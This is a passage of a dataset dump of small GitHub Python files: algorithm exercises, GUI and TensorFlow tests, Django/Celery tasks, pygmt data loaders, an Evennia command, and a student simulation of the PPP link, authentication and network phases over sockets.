False\r\n","repo_name":"preritdas/allocator","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2277,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"60"}
+{"seq_id":"72084452350","text":"from tkinter import Button\nfrom PySide6.QtWidgets import QApplication, QFrame, QGridLayout, QMainWindow, QPushButton, QVBoxLayout, QWidget, QLabel, QLineEdit\nimport sys\n\n\nclass nextWindow(QWidget):\n    def __init__(self):\n        super().__init__()\n        self.setWindowTitle(\"As\")\n        self.show()\n\nclass Buttona(QPushButton):\n    def __init__(self,a,b,c):\n        super().__init__(a)\n        self.clicked.connect(b)\n        self.setCheckable(c)\n    \n    \n\nclass MainWindow(QMainWindow):\n    def __init__(self):\n        super(MainWindow,self).__init__()\n        self.setWindowTitle(\"Sa\")\n\n        layout = QGridLayout()\n        layout.addWidget(Buttona(\"sa\",nextWindow,True),0,0)\n        layout.addWidget(Buttona(\"da\",None,False),1,1)\n\n        layout2 = QGridLayout()\n        layout2.addWidget(Buttona(\"sasa\",None,False),0,0)\n        layout2.addWidget(Buttona(\"Dadadadada\",None,False),1,1)\n\n        frame = QFrame()\n        frame.setFrameStyle(QFrame.StyledPanel)\n        frame.setLayout(layout)\n\n        frame2 = QFrame()\n        frame2.setFrameStyle(QFrame.Box | QFrame.Sunken)\n        frame2.setLayout(layout2)\n\n        \n        framelayout = QGridLayout()\n        framelayout.addWidget(frame,0,0)\n        framelayout.addWidget(frame2,1,1)\n        \n        mainframe = QWidget()\n        mainframe.setLayout(framelayout)\n        self.setCentralWidget(mainframe)\n    \n\napp = QApplication(sys.argv)\nwindow = MainWindow()\nwindow.show()\napp.exec()","repo_name":"taylananas/python","sub_path":"newtests/pysidetesting.py","file_name":"pysidetesting.py","file_ext":"py","file_size_in_byte":1450,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"15266152290","text":"import utils\nfrom argument_parser import get_argument_parser\nfrom models.room import Room\nfrom models.student import Student\nfrom repositories.rooms_repository import RoomsRepository\nfrom repositories.students_repository import StudentsRepository\n\nif __name__ == '__main__':\n    # Parse console arguments\n    parser = get_argument_parser()\n    args = parser.parse_args()\n\n    path_to_students = args.students\n    path_to_rooms = args.rooms\n    format_ = args.format\n    path_to_save = args.output\n\n    # Get serializers for every file by a format\n    serializer_to_load_students = utils.get_serializer_instance(utils.get_file_extension(path_to_students))\n    serializer_to_load_rooms = utils.get_serializer_instance(utils.get_file_extension(path_to_rooms))\n    serializer_to_save = utils.get_serializer_instance(format_)\n\n    # Create instances of students and rooms with received serializers\n    rooms_instances = utils.get_instances_by_data(serializer_to_load_rooms, path_to_rooms, Room)\n    students_instances = utils.get_instances_by_data(serializer_to_load_students, path_to_students, Student)\n\n    # Configure database\n    utils.configure_database((RoomsRepository, StudentsRepository))\n\n    # Save instances into database\n    utils.save_instances_into_database(rooms_instances, RoomsRepository)\n    utils.save_instances_into_database(students_instances, StudentsRepository)\n\n    data = utils.calculate_tasks(RoomsRepository, StudentsRepository)\n\n    # Save result into a specified file\n    utils.save_data(serializer_to_save, data, path_to_save)\n    print(f'File has been successfully saved to {path_to_save}')\n\n    RoomsRepository.close_connection()\n","repo_name":"yurymarozau/leverx_task3","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"11648040484","text":"import sys\r\nfrom collections import deque\r\n\r\n[N, T] = list(map(int, list(sys.stdin.readline().split(\" \"))))\r\n\r\n\r\ndef solution(N, T):\r\n    answer = \"\"\r\n    arr = deque([i for i in range(1, N+1)])\r\n    key = T - 1\r\n    while len(arr) > 1:\r\n        for _ in range(key):\r\n            arr.append(arr.popleft())\r\n        answer += str(arr.popleft()) + \", \"\r\n    if len(arr) == 1:\r\n        answer += str(arr.pop())\r\n    return \"<\" + answer + \">\"\r\n\r\n\r\nprint(solution(N, T))\r\n","repo_name":"yhsol/algorithm_study","sub_path":"achieve/code_test/acmicpc/acmicpc_11866.py","file_name":"acmicpc_11866.py","file_ext":"py","file_size_in_byte":467,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6268492332","text":"#https://leetcode.com/problems/longest-increasing-subsequence/\n\nclass Solution:\n    def lengthOfLIS(self, nums: List[int]) -> int:\n        n=len(nums)\n        if n==0:\n            return 0\n        dp=[1 for i in range(n)]\n        result=1\n        for i in range(1,n):\n            for j in range(i):\n                if nums[j]<nums[i] and dp[i]<dp[j]+1:\n                    dp[i]=dp[j]+1\n            result=max(result,dp[i])\n        return result\n","repo_name":"aasthaagrawal/Algorithms_and_Data_Structures","sub_path":"leetcode/300_Longest_Increasing_Subsequence.py","file_name":"300_Longest_Increasing_Subsequence.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"32860398567","text":"import os\nimport socket\nfrom functools import wraps\n\nimport django.db\nfrom django.conf import settings\nfrom django.utils.timezone import now\nfrom django.core.mail import send_mail\nfrom django.core.files.base import File\n\nfrom celery import shared_task\n\nimport pymongo.errors\n\nfrom .models import Job\nfrom .execution import execute\n\n\nTRANSIENT_ERRORS = (socket.error, django.db.OperationalError, pymongo.errors.ConnectionFailure)\n\n\nclass ContentTypeAwareFile(File):\n    def __init__(self, content_type, *args, **kwargs):\n        super(ContentTypeAwareFile, self).__init__(*args, **kwargs)\n        self.content_type = content_type\n\n\ndef retry_job(fn):\n    @wraps(fn)\n    def wrapper(self, *args, **kwargs):\n        try:\n            return fn(*args, **kwargs)\n        except TRANSIENT_ERRORS as exc:\n            self.retry(exc=exc, countdown=30, max_retries=2**31)\n    return wrapper\n\ndef process_job(fn):\n    @wraps(fn)\n    def wrapper(job_id):\n        job_filter = Job.objects.filter(id=job_id)\n        job_filter.update(updated=now(), state=Job.STATES['started'])\n        update = {}\n        try:\n            job = Job.objects.get(id=job_id)\n            output, results, error = fn(job.input, job.output, job.results)\n            update.update(state=Job.STATES['finished'], output=output, results=results, error=error)\n        except TRANSIENT_ERRORS as exc:\n            update.update(state=Job.STATES['retrying'], error=exc)\n            raise\n        except Exception as exc:\n            update.update(state=Job.STATES['failed'], error=exc)\n            raise\n        finally:\n            if update:\n                try:\n                    job_filter.update(updated=now(), **update)\n                except Exception:\n                    pass\n    return wrapper\n\ndef notify(email, url, state):\n    subject = 'Hippo job {state}'.format(state=state)\n    message = 'Your Hippo job has {state}. You can view the job: {url}'.format(state=state, url=url)\n    send_mail(subject, message, settings.DEFAULT_FROM_EMAIL, (email,))\n\n@shared_task(bind=True)\n@retry_job\ndef notify_finished(email, url):\n    notify(email, url, 'finished')\n\n@shared_task(bind=True)\n@retry_job\ndef notify_failed(email, url):\n    notify(email, url, 'failed')\n\n@shared_task(bind=True)\n@retry_job\n@process_job\ndef execute_job(finput, foutput, fresults):\n    def save_file(ffile, lfile, content_type=None):\n        name = os.path.basename(lfile.name)\n        with ContentTypeAwareFile(content_type, lfile) as llresults:\n            ffile.save(name, llresults, save=False)\n    save_output = lambda loutput, content_type: save_file(foutput, loutput, content_type)\n    save_results = lambda lresults, content_type: save_file(fresults, lresults, content_type)\n    try:\n        error = execute(finput.file, save_output, save_results)\n        return foutput, fresults, error\n    except Exception as exc:\n        for ffile in (foutput, fresults):\n            if ffile:\n                try:\n                    ffile.delete(save=False)\n                except Exception:\n                    pass\n        raise exc\n","repo_name":"vsemionov/hippo","sub_path":"hippo/api/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":3067,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"25273877807","text":"#!/usr/bin/env python\n\n#Import tensorflow\nimport tensorflow as tf\n\n#Create nondes with constant values\na = tf.constant(5)\nb = tf.constant(2)\nc = tf.constant(3)\n\n#Create nodes with arithmetic operations\nd = tf.multiply(a,b)\ne = tf.add(c,b)\nf = tf.subtract(d,e)\n\n#Launch the computational graph in a tf.Session\nsess = tf.Session()\n\n#Execute the computational graph in with .run() method\nouts = sess.run(f)\n\n#Close the session to free resources\nsess.close()\n\n#Print results of executing the graph\nprint(\"outs = {}\".format(outs))\n","repo_name":"sherifm/learning_tensorflow","sub_path":"creating_a_graph.py","file_name":"creating_a_graph.py","file_ext":"py","file_size_in_byte":526,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"5064085183","text":"import heterocl as hcl\nimport hlib.bnn as bnn\nimport numpy as np\n\nhcl.init()\ndef bnn_conv(INPUT, w_conv1):\n    conv1 = bnn.conv2d_nchw(INPUT,w_conv1, padding=[1, 1], name=\"conv1\", out_dtype=hcl.Int(6))\n    return conv1\n\nINPUT = hcl.placeholder((1,1,16,16),\"input\", hcl.UInt(1))\nw_conv1 = hcl.placeholder((16,1,3,3),\"w_conv1\", hcl.UInt(1))\ns = hcl.create_schedule([INPUT, w_conv1], bnn_conv)\nLB = s.reuse_at(INPUT, s[bnn_conv.conv1], bnn_conv.conv1.axis[2])\nWB = s.reuse_at(LB, s[bnn_conv.conv1], bnn_conv.conv1.axis[3])\nprint(hcl.lower(s))","repo_name":"zzzDavid/hcl-debug","sub_path":"reuse_at/bconv_nchw.py","file_name":"bconv_nchw.py","file_ext":"py","file_size_in_byte":539,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19378167054","text":"import socket\r\n# un socket = (dir IP, dir TCP)\r\n# creando un socket: que protocolos\r\nsocket_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n# Definiendo puertos:\r\nsocket_server.bind((\"localhost\", 9999))\r\n# Cuantos hosts se van a comunicar con el servidor\r\nsocket_server.listen(1) # Esta función también pone al servidor en modo de escucha, esperando una petición\r\n# Aceptando la petición. Se crea el cliente\r\nsocket_client, (remote_client_ip, remote_client_tcp) = socket_server.accept()\r\nprint (\"ip client: \", remote_client_ip)\r\nprint (\"tcp client: \", remote_client_tcp)\r\n\r\n#Variables no mutables Importantes para todo el PPP\r\nflag = \"01111110\"\r\naddress = \"11111111\"\r\ncontrol = \"00000011\"\r\nprotocolo = \"1100000000100001\"\r\nFCS = \"1111111111111111\" \r\nescape = \"01111101\"\r\nprotoPAP = \"1100000000100011\"\r\nusuario = \"Dandelion\"\r\ncontrasena = \"cornerstone13\"\r\nprotoNet = \"1000000000100001\"\r\n\r\n#Funcion para obtener texto de cadena binaria\r\ndef bin2str(mensaje):\r\n\t#String vacio para ir almacenando los caracteres\r\n    str_data = ''\r\n   \r\n    # Cortamos cada 8 caracteres para hacer un byte, luego transformarlo a int y luego a string\r\n    for i in range(0, len(mensaje), 8):\r\n      \r\n        # vamos almacenando lo cortado en temp_data\r\n        temp_data = mensaje[i:i + 8]\r\n       \r\n        # obtenemos el valor decimal para el binario recortado\r\n        decimal_data = int(temp_data, 2)\r\n       \r\n        # Transformamos a caracter usando la funcion chr() que nos regresa un valor ASCII por cada caracter\r\n        str_data = str_data + chr(decimal_data)\r\n        #print(\"caracter\",chr(decimal_data))\r\n    return str_data\r\n\r\n#Recibiendo Configure Request\r\nconfigureRequest = socket_client.recv(1024)\r\nconfigureRequest = configureRequest.decode('utf-8')\r\nunstuffed = (configureRequest.replace(escape+escape, escape)).replace(escape+flag,flag)\r\n\r\nif unstuffed[0:8]==flag and unstuffed[-8:]==flag:\r\n\t#Armando Configure Ack\r\n\tmessage = address + control + protocolo + \"00000010\" + FCS\r\n###################----------------------------------------------Primera mod\r\n\t# Hace el byte-stuffing del mensaje:\r\n\tstuffed = (message.replace(escape, escape+escape)).replace(flag,escape+flag)\r\n\r\n\t#Ponemos banderas\r\n\tconfigureAck = flag+stuffed+flag\r\n\tsocket_client.send(bytes(configureAck,'utf-8'))\r\n\r\n\tauthenticateRequest = socket_client.recv(1024)\r\n\tauthenticateRequest = authenticateRequest.decode('utf-8')\r\n\r\n\t#print(authenticateRequest)\r\n\r\n\t#Comprobando el authenticateRequest\r\n\t#Haciendo unstuffing\r\n\tunstuffed = (authenticateRequest.replace(escape+escape, escape)).replace(escape+flag,flag)\r\n\tobLength = int(unstuffed[8+8+8+16+8+8:8+8+8+16+8+8+16],2)\r\n\tobUlength = int(unstuffed[8+8+8+16+8+8+16:8+8+8+16+8+8+16+8],2)\r\n\tobUserName = unstuffed[8+8+8+16+8+8+16+8:8+8+8+16+8+8+16+8+obUlength]\r\n\tobPassword = unstuffed[8+8+8+16+8+8+16+8+obUlength+8:8+8+8+16+obLength]\r\n\trecieveUsername = bin2str(obUserName)\r\n\trecievePassword = bin2str(obPassword)\r\n\t#print(obLength)\r\n\t#print(obUlength)\r\n\t#print(recieveUsername)\r\n\t#print(recievePassword)\r\n\r\n\tif recievePassword == contrasena and recieveUsername == usuario:\r\n\t\t#Comienza el Authenticate-ack\r\n\t\tuserName = (''.join(format(ord(x), '08b') for x in usuario)) #Pasando a bits el username\r\n\t\t\t\t\r\n\t\tuserSize = format(len(userName),'08b')\r\n\r\n\t\tlength = 8 + 8 + 16 + 8 + len(userName)\r\n\t\tlength = format(length,'08b')\r\n\r\n\t\twhile len(length)<16:\r\n\t\t\tlength = \"0\" + length\r\n\r\n\t\tpayload = \"00000010\" + \"00000001\" + length + userSize + userName\r\n\t\tmessage = address + control + protoPAP + payload + FCS\r\n\t\t#print(payload)\r\n\t\t#print(message)\r\n\t\t# Hace el byte-stuffing del mensaje:\r\n\t\tstuffed = (message.replace(escape, escape+escape)).replace(flag,escape+flag)\r\n\r\n\t\t#Ponemos banderas\r\n\t\tauthenticateAck = flag+stuffed+flag\r\n\t\tsocket_client.send(bytes(authenticateAck,'utf-8'))\r\n\t\t#print(authenticateAck)\r\n\r\n\t\t###Recibiendo ConfigureRequest\r\n\t\tconfigureRequest = socket_client.recv(1024)\r\n\t\tconfigureRequest = configureRequest.decode('utf-8')\r\n\t\tunstuffed = (configureRequest.replace(escape+escape, escape)).replace(escape+flag,flag)\r\n\t\tprint(unstuffed)\r\n\t\tobIPCP = unstuffed[8+8+8+16+8+16+8:8+8+8+16+8+16+8+8]\r\n\t\t###------------------SEGUNDA MOD\r\n\t\tprint(obIPCP)\r\n\t\tif obIPCP == \"00001111\":\r\n\t\t\t##Construyendo el Configure-Ack\r\n\t\t\tlength = 8 + 8 + 16\r\n\t\t\tlength = format(length,'08b')\r\n\r\n\t\t\twhile len(length)<16:\r\n\t\t\t\tlength = \"0\" + length\r\n\r\n\t\t\tpayload = \"00000010\" + \"00000001\" + length\r\n\t\t\tmessage = address + control + protoNet + payload + FCS\r\n\t\t\t#print(payload)\r\n\t\t\t#print(message)\r\n\t\t\t# Hace el byte-stuffing del mensaje:\r\n\t\t\tstuffed = (message.replace(escape, escape+escape)).replace(flag,escape+flag)\r\n\r\n\t\t\t#Ponemos banderas\r\n\t\t\tconfigureAck = flag+stuffed+flag\r\n\t\t\tsocket_client.send(bytes(configureAck,'utf-8'))\r\n\r\n\t\t\t#Inicia transferencia de Datos\r\n\t\t\twhile True:\r\n\t\t\t\tmensaje=socket_client.recv(1024)\r\n\t\t\t\tmensaje = mensaje.decode('utf-8')\r\n\t\t\t\tunstuffed = (mensaje.replace(escape+escape, escape)).replace(escape+flag,flag)\r\n\t\t\t\tobCode = unstuffed[8+8+8+16:8+8+8+16+8]\r\n\t\t\t\tif obCode == \"00000101\":\r\n\t\t\t\t\t#Proceso de TERMINATE por peticion de cliente\r\n\t\t\t\t\tlength = 8 + 8 + 16 + len(info)\r\n\t\t\t\t\tlength = format(length,'08b')\r\n\r\n\t\t\t\t\twhile len(length)<16:\r\n\t\t\t\t\t\tlength = \"0\" + length\r\n\r\n\t\t\t\t\tpayload = \"00000110\" + \"00000001\" + length + info\r\n\t\t\t\t\tmessage = address + control + protocolo + payload + FCS\r\n\t\t\t\t\t# Hace el byte-stuffing del mensaje:\r\n\t\t\t\t\tstuffed = (message.replace(escape, escape+escape)).replace(flag,escape+flag)\r\n\t\t\t\t\t#Ponemos banderas\r\n\t\t\t\t\tterminateAck = flag+stuffed+flag\r\n\t\t\t\t\tsocket_client.send(bytes(terminateAck,'utf-8'))\r\n\t\t\t\t\tsocket_client.close()\r\n\t\t\t\t\tquit()\r\n\t\t\t\tobLength = unstuffed[8+8+8+16+8+8:8+8+8+16+8+8+16]\r\n\t\t\t\tinfo = unstuffed[8+8+8+16+8+8+16:8+8+8+16+int(obLength,2)]\r\n\t\t\t\tinfo = bin2str(info)\r\n\t\t\t\tprint(info)\r\n\t\t\t\tinfo = input('> ')\r\n\t\t\t\tif info == \"quit\":\r\n\t\t\t\t\tbreak\r\n\t\t\t\telse:\r\n\t\t\t\t\tinfo = (''.join(format(ord(x), '08b') for x in info))\r\n\t\t\t\t\tlength = 8 + 8 + 16 + len(info)\r\n\t\t\t\t\tlength = format(length,'08b')\r\n\r\n\t\t\t\t\twhile len(length)<16:\r\n\t\t\t\t\t\tlength = \"0\" + length\r\n\r\n\t\t\t\t\tpayload = \"00001001\" + \"00000001\" + length + info\r\n\t\t\t\t\tmessage = address + control + protocolo + payload + FCS\r\n\t\t\t\t\t# Hace el byte-stuffing del mensaje:\r\n\t\t\t\t\tstuffed = (message.replace(escape, escape+escape)).replace(flag,escape+flag)\r\n\t\t\t\t\t#Ponemos banderas\r\n\t\t\t\t\tmensaje = flag+stuffed+flag\r\n\t\t\t\t\tsocket_client.send(bytes(mensaje,'utf-8'))\r\n\t\t\t\t\tprint(\"Mensaje enviado\")\r\n\t\t\t\tpass\r\n\t\t\t#Inicia proceso de TERMINATE por peticion de servidor\r\n\t\t\tinfo = (''.join(format(ord(x), '08b') for x in info))\r\n\t\t\tlength = 8 + 8 + 16 + len(info)\r\n\t\t\tlength = format(length,'08b')\r\n\r\n\t\t\twhile len(length)<16:\r\n\t\t\t\tlength = \"0\" + length\r\n\r\n\t\t\tpayload = \"00000101\" + \"00000001\" + length + info\r\n\t\t\tmessage = address + control + protocolo + payload + FCS\r\n\t\t\t# Hace el byte-stuffing del mensaje:\r\n\t\t\tstuffed = (message.replace(escape, escape+escape)).replace(flag,escape+flag)\r\n\t\t\t#Ponemos banderas\r\n\t\t\tmensaje = flag+stuffed+flag\r\n\t\t\tsocket_client.send(bytes(mensaje,'utf-8'))\r\n\r\n\t\t\t#Recibiendo TERMINATE ack\r\n\t\t\tterminateAck = socket_client.recv(1024)\r\n\t\t\tterminateAck = terminateAck.decode('utf-8')\r\n\t\t\tunstuffed = (terminateAck.replace(escape+escape, escape)).replace(escape+flag,flag)\r\n\t\t\tobCode = unstuffed[8+8+8+16:8+8+8+16+8]\r\n\t\t\tif obCode == \"00000110\":\r\n\t\t\t\tsocket_client.close()\r\n\t\t\telse:\r\n\t\t\t\tprint(\"Error\")\r\n\t\t\tsocket_client.close()\r\n\t\t\tsocket_server.close()\r\n\r\n\t\telse:\r\n\t\t\tprint(\"termina proceso con nak\")\r\n\r\n\telse:\r\n\t\t#Comienza el Authenticate-nak\r\n\t\tuserName = (''.join(format(ord(x), '08b') for x in usuario)) #Pasando a bits el username\r\n\t\t\t\t\r\n\t\tuserSize = format(len(userName),'08b')\r\n\r\n\t\tlength = 8 + 8 + 16 + 8 + len(userName)\r\n\t\tlength = format(length,'08b')\r\n\r\n\t\twhile len(length)<16:\r\n\t\t\tlength = \"0\" + length\r\n\r\n\t\tpayload = \"00000011\" + \"00000001\" + length + userSize + userName\r\n\t\tmessage = address + control + protoPAP + payload + FCS\r\n\t\t#print(payload)\r\n\t\t#print(message)\r\n\t\t# Hace el byte-stuffing del mensaje:\r\n\t\tstuffed = (message.replace(escape, escape+escape)).replace(flag,escape+flag)\r\n\r\n\t\t#Ponemos banderas\r\n\t\tauthenticateNak = flag+stuffed+flag\r\n\t\t#print(authenticateNak)\r\n\t\tsocket_client.close()\r\n\t\tsocket_server.close()\r\n\r\nelse:\r\n\tprint(\"Request Fallido\")","repo_name":"dandelionburdock/PPP","sub_path":"servidor.py","file_name":"servidor.py","file_ext":"py","file_size_in_byte":8253,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31357135267","text":"# math, number theory, prime number, Sieve of Eratosthenes\n\n# input\nn, m = map(int, input().split())\n\nnum_list = [0] * (n + 2)\n\nfor i in range(2, n + 1):\n    if num_list[i] == 0:\n        for j in range(i, n + 1):\n            if j % i == 0 and num_list[j] == 0:\n                num_list[j] = 1\n                m-= 1\n\n            if m == 0:\n                print(j)\n                break","repo_name":"myae3080/Algorithm-Study","sub_path":"Baekjoon/python/2960.py","file_name":"2960.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7809961941","text":"\"\"\"\nFunctions to load sample data from the GMT tutorials.\n\"\"\"\nimport pandas as pd\n\nfrom .. import which\n\n\ndef load_japan_quakes():\n    \"\"\"\n    Load a table of earthquakes around Japan as a pandas.Dataframe.\n\n    Data is from the NOAA NGDC database. This is the ``@tut_quakes.ngdc``\n    dataset used in the GMT tutorials.\n\n    The data are downloaded to a cache directory (usually ``~/.gmt/cache``) the\n    first time you invoke this function. Afterwards, it will load the data from\n    the cache. So you'll need an internet connection the first time around.\n\n    Returns\n    -------\n    data :  pandas.Dataframe\n        The data table. Columns are year, month, day, latitude, longitude,\n        depth (in km), and magnitude of the earthquakes.\n\n    \"\"\"\n    fname = which(\"@tut_quakes.ngdc\", download=\"c\")\n    data = pd.read_csv(fname, header=1, sep=r\"\\s+\")\n    data.columns = [\n        \"year\",\n        \"month\",\n        \"day\",\n        \"latitude\",\n        \"longitude\",\n        \"depth_km\",\n        \"magnitude\",\n    ]\n    return data\n\n\ndef load_sample_bathymetry():\n    \"\"\"\n    Load a table of ship observations of bathymetry off Baja California as a\n    pandas.DataFrame.\n\n    This is the ``@tut_ship.xyz`` dataset used in the GMT tutorials.\n\n    The data are downloaded to a cache directory (usually ``~/.gmt/cache``) the\n    first time you invoke this function. Afterwards, it will load the data from\n    the cache. So you'll need an internet connection the first time around.\n\n    Returns\n    -------\n    data :  pandas.Dataframe\n        The data table. Columns are longitude, latitude, and bathymetry.\n    \"\"\"\n    fname = which(\"@tut_ship.xyz\", download=\"c\")\n    data = pd.read_csv(\n        fname, sep=\"\\t\", header=None, names=[\"longitude\", \"latitude\", \"bathymetry\"]\n    )\n    return data\n\n\ndef load_usgs_quakes():\n    \"\"\"\n    Load a table of global earthquakes form the USGS as a pandas.Dataframe.\n\n    This is the ``@usgs_quakes_22.txt`` dataset used in the GMT tutorials.\n\n    The data are downloaded to a cache directory (usually ``~/.gmt/cache``) the\n    first time you invoke this function. Afterwards, it will load the data from\n    the cache. So you'll need an internet connection the first time around.\n\n    Returns\n    -------\n    data :  pandas.Dataframe\n        The data table. Use ``print(data.describe())`` to see the available columns.\n\n    \"\"\"\n    fname = which(\"@usgs_quakes_22.txt\", download=\"c\")\n    data = pd.read_csv(fname)\n    return data\n","repo_name":"zjq02010/LearnPython","sub_path":"venv/Lib/site-packages/pygmt/datasets/tutorial.py","file_name":"tutorial.py","file_ext":"py","file_size_in_byte":2462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"20969081473","text":"# selection attribute\nimport numpy\nimport plotly.graph_objects as go\nnumpy.random.seed(1)\ndata1 = numpy.random.randn(200,200)\ndata2 = numpy.random.randn(200,200)+1\nconfig1 = {\n    \"x\": data1[0],\n    \"y\": data1[1],\n    \"name\": \"A\",\n    \"mode\": \"markers\" \n}\nconfig2 = {\n    \"x\": data2[0],\n    \"y\": data2[1],\n    \"name\": \"B\",\n    \"mode\": \"markers\" \n}\nscatter_a = go.Scatter(\n    x=config1[\"x\"],\n    y=config1[\"y\"],\n    name=config1[\"name\"],\n    mode=config1[\"mode\"])\nscatter_b = go.Scatter(\n    x=config2[\"x\"],\n    y=config2[\"y\"],\n    name=config2[\"name\"],\n    mode=config2[\"mode\"])\nfig = go.Figure()\nfig.add_traces([scatter_a,scatter_b])\nfig.show()","repo_name":"Emetselch1984/plotry","sub_path":"python/plotly/1_9_selection_attribute.py","file_name":"1_9_selection_attribute.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17122567016","text":"'''\r\nCreated on 2019. 4. 8.\r\n\r\n@author: user\r\n'''\r\n# 1. 더하기 함수\r\ndef addNum(x,y): # x, y : 매개변수\r\n    z = x + y # x,y,z는 지역변수 이기 때문에 다른 함수에서도 같은 이름을 사용 가능\r\n    print(\"두 수의 합은\",z)\r\n    \r\n# 2. 빼기 함수\r\ndef minusNum(x,y):\r\n    z = x - y\r\n    print(\"두 수의 차는\", z)\r\n    \r\n# 3. 곱하기 함수\r\ndef multiNum(x,y):\r\n    z = x * y\r\n    print(\"두 수의 곱은\", z)\r\n    \r\n# 4. 나누기 함수\r\ndef divNum(x,y):\r\n    if y == 0:\r\n        print(\"0으로 나눌 수 없습니다.\")\r\n    else:\r\n        z = x / y\r\n        print(\"두 수의 나눗셈은\", z)\r\n    \r\n# 5. 제곱 함수\r\ndef double(x,y):\r\n    z = x ** y\r\n    print(\"두 수의 제곱은\", z)\r\n\r\nif __name__ == '__main__':\r\n    # 입력받기\r\n    x = int(input(\"첫번째 숫자 입력>> \"))\r\n    c = input(\"계산을 입력하세요(+,-,*,/,**)>> \")\r\n    y = int(input(\"두번째 숫자 입력>> \"))\r\n    \r\n    # 연산자 판별 \r\n    if c == '+':\r\n        addNum(x, y)\r\n    elif c == '-':\r\n        minusNum(x, y)\r\n    elif c == '*':\r\n        multiNum(x, y)\r\n    elif c == '/':\r\n        divNum(x, y)\r\n    elif c == '**':\r\n        double(x, y)\r\n    else:\r\n        print(\"잘못된 연산자입니다.\")\r\n    \r\n    ## 다중 입력 받기\r\n#     e, f = input(\"값을 입력>> \").split(\",\") \r\n#     입력시 split 안의 \",\"를 이용해 나눠서 입력 ex) 3,5\r\n#     split의 기본 구분 기호는 공백 (\"\")\r\n#     print(e)\r\n#     print(f)","repo_name":"reharmony/cloudpython","sub_path":"python08/function/입력값테스트.py","file_name":"입력값테스트.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"38436744427","text":"from evennia import search_script, create_script\nfrom evennia.utils.eveditor import EvEditor\nfrom commands.command import UnixCommand\nfrom typeclasses.misc.env import EnvScript\n\n\nclass CmdEnv(UnixCommand):\n    \"\"\"Manage an EnvScript.\"\"\"\n\n    key = \"@env\"\n    aliases = [\"env\"]\n    locks = \"cmd:perm(Builder)\"\n\n    def init_parser(self):\n        self.parser.add_argument(\"type\", choices=[\"status\", \"init\", \"edit\", \"rm\"],\n                                 help=\"What do you want to do?\")\n        self.parser.add_argument(\"-l\", \"--location\", dest=\"loc\",\n                                 help=\"Location of EnvScript\")\n\n    def func(self):\n        caller = self.caller\n        opts = self.opts\n\n        if opts.loc:\n            location = caller.search(opts.loc, global_search=True)\n            if not location:\n                caller.msg(\"Destination not found.\")\n                return\n        else:\n            location = caller.location\n\n        existing = search_script(\"EnvScript\", obj=location)\n\n        if opts.type == \"init\":\n            if len(existing) > 0:\n                caller.msg(\"An EnvScript already exists.\")\n                return\n\n            script = create_script(EnvScript, obj=location, key=\"EnvScript\")\n        elif len(existing) == 1:\n            script = existing[0]\n        elif len(existing) == 0:\n            caller.msg(\"No script found.\")\n            return\n        else:\n            caller.msg(\"Error: multiple scripts found.\")\n            return\n\n        if opts.type == \"init\" or opts.type == \"edit\":\n            def _env_load(caller):\n                return \"\\n\".join(script.db.messages)\n\n            def _env_save(caller, buffer):\n                script.db.messages = buffer.splitlines()\n                caller.msg(\"Messages saved.\")\n                return\n\n            caller.msg(\"Please place one message on each line.\")\n            EvEditor(caller, loadfunc=_env_load, savefunc=_env_save,\n                     key=\"Save messages: :w\")\n\n        if opts.type == \"status\":\n            caller.msg(\"The script is operational.\")\n\n        if opts.type == \"rm\":\n            script.delete()\n            caller.msg(\"Script deleted.\")\n","repo_name":"AgoraNomic/Nomeria","sub_path":"nomeria/commands/build.py","file_name":"build.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"31210578522","text":"import unittest\nimport pandas as pd\nfrom graphla.streamed import naive_merge, naive_voting_merge\n\n\nclass StreamTests(unittest.TestCase):\n\n\n    def test_naive_merge(self):\n        self.assertTrue(True)\n\n    def test_voting_merge(self):\n        Y_1 = {0: [0, 19], 16384: [595, 0], 4096: [23, 1]}\n        Y_2 = {1: [1, 5], 9011: [411, 20], 4096: [12, 1], 5091: [150, 33]}\n\n        Y = naive_voting_merge(Y_1, Y_2)\n\n        self.assertEqual(Y[0], [0, 19])\n        self.assertEqual(Y[1], [1, 5])\n        self.assertEqual(Y[4096], [35, 2])\n\n\n","repo_name":"jrybicki-jsc/smms","sub_path":"tests/test_stream.py","file_name":"test_stream.py","file_ext":"py","file_size_in_byte":536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
